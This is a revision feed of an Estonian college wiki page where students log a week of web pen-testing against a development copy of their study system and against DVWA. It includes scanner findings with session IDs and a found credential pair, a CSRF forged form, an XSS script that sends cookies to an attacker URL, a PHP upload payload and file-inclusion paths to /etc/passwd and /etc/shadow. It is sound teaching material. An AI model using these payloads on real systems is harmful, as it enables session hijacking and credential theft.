&amp;lt;br&amp;gt;et lubatud oleks ainult: &lt;br /&gt;
&amp;lt;li&amp;gt;.doc &lt;br /&gt;
&amp;lt;li&amp;gt;.docx &lt;br /&gt;
&amp;lt;li&amp;gt;.pdf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]&lt;br /&gt;
Backtarcki keskkonnas sai testitud programmi w3af.&lt;br /&gt;
&lt;br /&gt;
==== Backtrack: w3af ====&lt;br /&gt;
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]&lt;br /&gt;
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]&lt;br /&gt;
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]&lt;br /&gt;
Võimalik kätte saada SSL Certificate.&lt;br /&gt;
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:&lt;br /&gt;
  https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?&lt;br /&gt;
  username=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&amp;amp;continue=&amp;amp;Login=Logi sisse&amp;amp;pw=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
Programmi sisestatud andmetega ka mitte:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Basic HTTP Authentication:&lt;br /&gt;
    basicAuthUser: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthPass: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthDomain: http://itcollege.dev.ois.ee&lt;br /&gt;
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Cookies&lt;br /&gt;
    cookieJarFile: /root/Desktop/&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;ois_cookie.txt&amp;lt;/font&amp;gt;&lt;br /&gt;
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:&lt;br /&gt;
  # Netscape HTTP Cookie File&lt;br /&gt;
  .dev.ois.ee	TRUE	/	FALSE	1731510001	itcollege_OIS_SESSION_ID	&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;870aqllryuw3cmf6cv8ellha03&amp;lt;/font&amp;gt;&lt;br /&gt;
Esimene rida on nõutav! Teiste tähendused:&lt;br /&gt;
  domain - The domain that created and that can read the variable.&lt;br /&gt;
  flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.&lt;br /&gt;
    This value is set automatically by the browser, depending on the value you set for domain.&lt;br /&gt;
  path - The path within the domain that the variable is valid for.&lt;br /&gt;
  secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.&lt;br /&gt;
  expiration - The UNIX time that the variable will expire on.&lt;br /&gt;
  name - The name of the variable.&lt;br /&gt;
  value - The value of the variable.&lt;br /&gt;
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:&lt;br /&gt;
  Edit -&amp;gt; Preferences -&amp;gt; Privacy -&amp;gt; History -&amp;gt; remove individual cookies&lt;br /&gt;
    Search: itcollege.dev.ois.ee&lt;br /&gt;
    Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skänneerimine:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The page language is: en&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; has a &amp;quot;&amp;lt;form&amp;gt;&amp;quot; element with auto-complete enabled.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A comment with the string &amp;quot;&amp;lt;p&amp;amp;gt;tunne end kui koolis&amp;lt;/p&amp;amp;gt;&amp;quot; was found in: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Found a form login. The action of the form is: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  The username field to be used is: &amp;quot;username&amp;quot;.&lt;br /&gt;
  The password field to be used is: &amp;quot;pw&amp;quot;.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;Found authentication credentials to: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;. A correct user and password combination is: Administrador/6666666&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  Antud kasutaja ja parooliga sisse ei saanud.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; returned a response that may contain a &amp;quot;SHA1&amp;quot; hash. The hash is: &amp;quot;c7b39896de5f296b5a44c2dfcd9f0600b2cf424d&amp;quot;. This is uncommon and requires human verification.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; sent these cookies:&amp;lt;/li&amp;gt;&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/&lt;br /&gt;
&amp;lt;li&amp;gt;The SMTP settings in emailReport plugin seem to be incorrect. Original error: &amp;quot;[Errno 111] Connection refused&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Kui tuleb see veateade, siis skänn katkeb.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;SQL injection in a Unknown database was found at: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;, using HTTP method POST.&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The sent post-data was: &amp;quot;username=John8212&amp;amp;security_key_sis_global=d&#039;z&amp;quot;0&amp;amp;Login=Logi%20sisse&amp;amp;continue=56&amp;amp;pw=FrAmE30.&amp;quot;.&lt;br /&gt;
    The modified parameter was &amp;quot;security_key_sis_global&amp;quot;. This vulnerability was found in the request with id 390.&lt;br /&gt;
&amp;lt;li&amp;gt;Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt&amp;lt;/li&amp;gt;&lt;br /&gt;
  User-agent: *&lt;br /&gt;
  Disallow: /&lt;br /&gt;
  Allow: /curriculum&lt;br /&gt;
  Allow: /subject&lt;br /&gt;
  Allow: /diploma&lt;br /&gt;
  Allow: /schedule/ical&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 4. päev - Presentatsiooni tegemine ja esitlemine ==&lt;br /&gt;
&lt;br /&gt;
Koostasime presentatsiooni ja esitlemine.&lt;br /&gt;
&lt;br /&gt;
[[Media:Security_team_presentation.ppt]]&lt;br /&gt;
&lt;br /&gt;
== Arvamused intensiivõppe nädala kohta ==&lt;br /&gt;
&lt;br /&gt;
Sander: Õppisime erinevaid testprogramme ja testkeskkondi kasutama, mida varem kunagi kasutanud polnud. Suutsime avastada nii mõnegi vea, mida varem avastatud ei olnud. Usun, et ÕIS on nüüd kasvõi veidigi turvalisem. Soovitan ka teistele tudengitele intensiivõppenädalal osalemist, kuna valides õige teema võib olla päris huvitav tegeleda millegagi, mida varem teinud pole või mida tegelikult lihtsalt ei ole lubatud teha.&lt;br /&gt;
&lt;br /&gt;
Urmo: Intensiivõppe nädalaga sai õpitud nii mõndagi huvitavat veebiturve ja selle testimise kohta. Kuna aega oli vähe, siis sai hulgaliselt kogemust ja oskust reaalselt planeerida mahukat tööd täiesti nullist kuni reaalse rakendatava tulemuseni ning pani proovile stressitaluvuse tõestamaks pinge all jätkusuutlikku töötamist. Intensiivõppe nädalal võiksid osaleda kõik, kellel väheke tahtmist midagi uurida ja korda saata ning saada reaalset töökogemust ennem töömaailma sukeldumist.&lt;br /&gt;
&lt;br /&gt;
== Tegijad ==&lt;br /&gt;
Alo Konno A21&lt;br /&gt;
&lt;br /&gt;
Urmo Lihten A21&lt;br /&gt;
&lt;br /&gt;
Taavi Podžuks A22&lt;br /&gt;
&lt;br /&gt;
Matis Alliksoo A22&lt;br /&gt;
&lt;br /&gt;
Sander Saarm A22&lt;br /&gt;
&lt;br /&gt;
== Juhendajad ==&lt;br /&gt;
Mart Mangus&lt;br /&gt;
&lt;br /&gt;
Margus Ernits&lt;br /&gt;
&lt;br /&gt;
Valter Kungla&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47061</id>
		<title>Security team</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47061"/>
		<updated>2012-03-30T20:47:34Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* 1. päev - Materjalidega tutvumine */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== 1. päev - Materjalidega tutvumine ==&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project&lt;br /&gt;
&lt;br /&gt;
    A1: Injection - Urmo&lt;br /&gt;
    A2: Cross-Site Scripting (XSS) - Alo&lt;br /&gt;
    A3: Broken Authentication and Session Management - Sander&lt;br /&gt;
    A4: Insecure Direct Object References - Alo&lt;br /&gt;
    A5: Cross-Site Request Forgery (CSRF) - Taavi&lt;br /&gt;
    A6: Security Misconfiguration - Matis&lt;br /&gt;
    A7: Insecure Cryptographic Storage - Matis&lt;br /&gt;
    A8: Failure to Restrict URL Access - Urmo&lt;br /&gt;
    A9: Insufficient Transport Layer Protection - Taavi&lt;br /&gt;
    A10: Unvalidated Redirects and Forwards - Sander&lt;br /&gt;
&lt;br /&gt;
Sanderi konspekt: [[Media:Ois_materjal.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A9.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A5.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Insecure Cryptographic Storage.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Security Misconfiguration.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==&lt;br /&gt;
===Security Team tegevusplaan===&lt;br /&gt;
1.	Päev&lt;br /&gt;
 1.1	Tutvuda OWASP’iga. &lt;br /&gt;
 1.2	Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.&lt;br /&gt;
 1.3	Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.&lt;br /&gt;
2.	Päev&lt;br /&gt;
 2.1	Esitada tiimi tegevusplaan.&lt;br /&gt;
 2.2	Tutvuda turvariskidega natuke põhjalikumalt.&lt;br /&gt;
 2.3	Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.&lt;br /&gt;
 2.4	Täiendada esimese päeva ettekannet.&lt;br /&gt;
3.	Päev&lt;br /&gt;
 3.1	Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.&lt;br /&gt;
 3.2	Saadud tulemuste dokumenteerimine.&lt;br /&gt;
4.	Päev&lt;br /&gt;
 4.1	Saadud tulemuste esitlemine ettekandega&lt;br /&gt;
5.	Päev&lt;br /&gt;
 5.1	Tulemuste parandamine wiki’s.&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
&lt;br /&gt;
http://www.acunetix.com/support/vulnerability-checks.htm&lt;br /&gt;
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting&lt;br /&gt;
http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting&lt;br /&gt;
http://www.youtube.com/watch?v=SG1cvGQ971g&lt;br /&gt;
http://www.isecom.org/research.html&lt;br /&gt;
http://evuln.com/tools/&lt;br /&gt;
http://sectools.org/tag/web-scanners/&lt;br /&gt;
http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/getting-started.htm&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:&lt;br /&gt;
Acunetix Web Vulnerability Scanner v. 8&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/&lt;br /&gt;
&lt;br /&gt;
Pärast programmi installimist tuli seadistada skännimine, valisime keskmie põhjalikkusega skänni.&lt;br /&gt;
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.&lt;br /&gt;
Antud programm võimaldab skännida:&lt;br /&gt;
Cross-Site Scripting (XSS)&lt;br /&gt;
SQL Injection (blind test)&lt;br /&gt;
File inclusion&lt;br /&gt;
Code Execution&lt;br /&gt;
LDAP Injection&lt;br /&gt;
Cross Frame Scripting&lt;br /&gt;
SQL Injection (error msg. test)&lt;br /&gt;
CRLF Injection&lt;br /&gt;
Directory Travelsal&lt;br /&gt;
XPath Injection&lt;br /&gt;
URL Redirection&lt;br /&gt;
Application Error Message&lt;br /&gt;
&lt;br /&gt;
Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
&lt;br /&gt;
Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.&lt;br /&gt;
&lt;br /&gt;
Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application&#039;i.&lt;br /&gt;
&lt;br /&gt;
==== Brute Force (DVWA) ====&lt;br /&gt;
Käsitsi välja uuritud login andmed:&lt;br /&gt;
kasutajanimi: admin&lt;br /&gt;
parool: password&lt;br /&gt;
&lt;br /&gt;
===== Fireforce plugin Firefoxis =====&lt;br /&gt;
Tekitatud sai ka password list faili pass.txt.&lt;br /&gt;
&lt;br /&gt;
Kasutusel oli Firefox brauser, kuhu installisime plugin&#039;a Fireforce. &lt;br /&gt;
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .&lt;br /&gt;
&lt;br /&gt;
Panime kasutajanimeks &amp;quot;admin&amp;quot; ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.&lt;br /&gt;
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud. &lt;br /&gt;
Selleks sai sõna &amp;quot;incorrect&amp;quot;.&lt;br /&gt;
Määrata ära tuli ka, et mitu päringut sekundis tehakse. &lt;br /&gt;
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada. &lt;br /&gt;
Päringute tegemise kiirus vähem kui 1 päring/sekundis.&lt;br /&gt;
&lt;br /&gt;
Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.&lt;br /&gt;
Kasutasime ka videos näidatud &amp;quot;@ DICTIONARY&amp;quot; teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.&lt;br /&gt;
&lt;br /&gt;
Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.&lt;br /&gt;
&lt;br /&gt;
===== Burpsuite v1.4 =====&lt;br /&gt;
Burpsuite v1.4 on Samurai WTF&#039;il olemas juba sees ja saab kohe käima panna.&lt;br /&gt;
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI&#039;st]]&lt;br /&gt;
&lt;br /&gt;
Programm on juba loomult keerulisem. &lt;br /&gt;
Burpsuite&#039;iga tuleb panna käima proxy server localhost&#039;is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.&lt;br /&gt;
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine. &lt;br /&gt;
Läbi proxy serveri tuleb BurpSuite&#039;ile kohale vastava veebilehe Header sisselogimise kohta.&lt;br /&gt;
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.&lt;br /&gt;
Payload&#039;i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.&lt;br /&gt;
Ründe stiiliks määrata Pitchfork.&lt;br /&gt;
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.&lt;br /&gt;
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.&lt;br /&gt;
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -&amp;gt; Start Attack, mis siis alustas rünnet. &lt;br /&gt;
Kahjuks ka see rünne ei toiminud teadmata põhjusel. &lt;br /&gt;
Proovitud sai ka lühemate nimekirjadega ja edutult. &lt;br /&gt;
&lt;br /&gt;
Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt. &lt;br /&gt;
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.&lt;br /&gt;
&lt;br /&gt;
==== CSRF - Cross-site request forgery ====&lt;br /&gt;
Katsetamine toimub koos Taaviga.&lt;br /&gt;
&lt;br /&gt;
Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.&lt;br /&gt;
&lt;br /&gt;
Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.&lt;br /&gt;
&lt;br /&gt;
Lõime uue faili - crosssite.txt&lt;br /&gt;
&lt;br /&gt;
DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.&lt;br /&gt;
Võtsime lehe Source Code lahti&lt;br /&gt;
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.&lt;br /&gt;
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.&lt;br /&gt;
Current Password lahtri jätsime samaks.&lt;br /&gt;
Ülejäänud kahe uue passwordi fieldi type&#039;iks määrasime &amp;quot;Hidden&amp;quot; ja value&#039;deks &amp;quot;admin&amp;quot;.&lt;br /&gt;
Salvestasime faili ja käivitasime selle.&lt;br /&gt;
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.&lt;br /&gt;
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna &amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
&lt;br /&gt;
Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
==== Reflected Cross Site Scripting (XSS)  ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Lehel on selline Form:&amp;lt;/li&amp;gt;&lt;br /&gt;
[[Image:Xsstesting.jpg|Location=&amp;quot;left&amp;quot;|Caption|]]&lt;br /&gt;
&amp;lt;br&amp;gt;Form väljastab : Hello „sisestatud nimi“&lt;br /&gt;
&amp;lt;li&amp;gt;Easy puhul:&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Saab sisestada textboxi skripti:&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    alert(document.cookie.match(/PHPSESSID=[^;\]+/));&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: &amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    this.document.location.href  = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
    &amp;lt;li&amp;gt;Saab kohe enda veebiserveri logidest näha  Session ID’d. &lt;br /&gt;
&amp;lt;br&amp;gt;Näide logist:&amp;lt;/li&amp;gt;&lt;br /&gt;
    /var/log/apache2/access.log&lt;br /&gt;
    127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] &amp;quot;GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1&amp;quot; 404 404 &amp;quot;-&amp;quot;                  &amp;lt;br&amp;gt;  &amp;quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11&amp;quot;&lt;br /&gt;
&amp;lt;li&amp;gt;Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]&lt;br /&gt;
&lt;br /&gt;
SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).&lt;br /&gt;
==== Faili üleslaadimine: madal tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Low -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.php faili saab kirjutada php koodi:&lt;br /&gt;
    &amp;lt;?php var_dump($_REQUEST, $_SERVER); ?&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:&amp;lt;/li&amp;gt;&lt;br /&gt;
  esimeses massiivis &amp;quot;PHPSESSID&amp;quot; (&amp;quot;2b1ae19446cfde009664f18df51b6ec1&amp;quot;) ja turvatase &amp;quot;security&amp;quot; (&amp;quot;low&amp;quot;);&lt;br /&gt;
  teises &amp;quot;HTTP_COOKIE&amp;quot;, milles on eelnevadki andmed; asukoht &amp;quot;PATH&amp;quot;, &amp;quot;SERVER_SOFTWARE&amp;quot;, &amp;quot;SERVER_NAME&amp;quot;,&lt;br /&gt;
    &amp;quot;SERVER_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;SERVER_PORT&amp;quot; (&amp;quot;80&amp;quot;), &amp;quot;REMOTE_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;REMOTE_PORT&amp;quot; (&amp;quot;53425&amp;quot;) jpm.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: keskmine tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Medium -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida ei saa näiteks järgnevates formaatides faile:&amp;lt;/li&amp;gt;&lt;br /&gt;
  .htaccess&lt;br /&gt;
  .php	.html	.pdf&lt;br /&gt;
  .gif	.png	.bmp&lt;br /&gt;
  .svg	.swf&lt;br /&gt;
  .tif	.tiff	.exif&lt;br /&gt;
  .raw	.cgm&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks tuleb kasutada &amp;quot;?page=&amp;quot; ja faili asukoht:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg&lt;br /&gt;
Kuvatakse php skripti tulemus.&lt;br /&gt;
  Kommentaar: &amp;quot;?page=&amp;quot; kasutamine võetud menüüvalikust: &amp;lt;b&amp;gt;File Inclusion&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;?page=&amp;quot; abil saab vaadata kasutajate nimesid:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd&lt;br /&gt;
&amp;lt;li&amp;gt;Paroole vaadata ei saa, selleks õigused puuduvad:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: kõrge tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: High -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks ei piisa ka &amp;quot;?page=&amp;quot; kasutamisest. Igal juhul on vastus selline:&amp;lt;/li&amp;gt;&lt;br /&gt;
  ERROR: File not found!&lt;br /&gt;
&amp;lt;li&amp;gt;Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://www.motobit.com/util/base64-decoder-encoder.asp&lt;br /&gt;
